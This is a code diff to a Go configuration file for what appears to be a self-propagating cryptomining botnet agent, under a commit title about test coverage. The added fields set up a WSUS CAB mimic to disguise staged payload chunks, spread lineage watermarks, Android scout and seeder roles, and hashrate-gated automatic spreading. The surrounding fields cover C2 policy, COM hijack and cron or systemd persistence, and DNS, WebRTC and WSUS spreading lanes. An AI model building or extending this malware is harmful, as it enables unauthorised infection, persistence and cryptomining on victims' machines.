Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

agent/config/config.go

@@ -74,6 +74,7 @@ type BuiltinConfig struct {
 	DnsTxtSpread       bool   // DNS TXT mesh shard staging via _aether zone
 	WebRTCMeshSpread   bool   // WebRTC LAN seed manifest (heavier; default off)
 	WSUSCachePeerSpread bool  // WSUS SoftwareDistribution cousin staging
+	WSUSFormatMimic     bool  // wrap WSUS staging chunks as *.cab.partial SSU/CAB mimic (default ON)
 	COMHijackPersist   bool   // COM CLSID hijack persistence — default off
 	LinuxLOTLMode      string // systemd_run_user | crontab | both | off
 	// Passive spreading — triggered by the environment rather than active scanning
@@ -117,10 +118,28 @@ type BuiltinConfig struct {
 	LotlPolicyFromServer bool     // when true, tier order is pulled from C2 on auth
 	LotlOnionTiers       []string // baked order; ignored when LotlPolicyFromServer until auth
 
+	// Spread genealogy watermark — forge-baked telemetry; never used for auth.
+	ParentAgentID    string
+	SpreadGeneration int
+	SpreadStrain     string // #RRGGBB strain color; derived from join_lane when empty
+	BakedJoinLane    string // forge-time join_lane for strain when runtime lane unknown
+
 	// ApkMode marks Android fleet-node builds; registration reports platform=android.
 	ApkMode bool
+	// ScoutMode is a roving APK scout: discover_and_join + service_graph only, no payload staging.
+	ScoutMode bool
 	// MiningDisabled skips the mining fallback chain (default for APK fleet nodes).
 	MiningDisabled bool
+
+	// FleetRole selects miner|seeder|auto (auto resolves from server hint on auth).
+	FleetRole string
+	// SeederMode is baked when fleet_role=seeder — skips RandomX, runs LAN staging lanes only.
+	SeederMode bool
+
+	// HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread (server policy).
+	HashrateGateSpreadMin int
+	// HashrateGateHPS is minimum H/s for hashrate-gated propagation (server policy).
+	HashrateGateHPS float64
 }
 
 // BackupPool holds connection info for a fallback Stratum mining pool.
@@ -261,6 +280,11 @@ func IsAndroidPlatform() bool {
 	return RegistrationPlatform() == "android"
 }
 
+// IsScoutMode reports roving scout builds (discover + service graph, no staging).
+func (c RuntimeConfig) IsScoutMode() bool {
+	return c.ScoutMode
+}
+
 func (c RuntimeConfig) EffectiveThreads() int {
 	mode := strings.ToLower(c.ThreadMode)
 	if mode == "fixed" {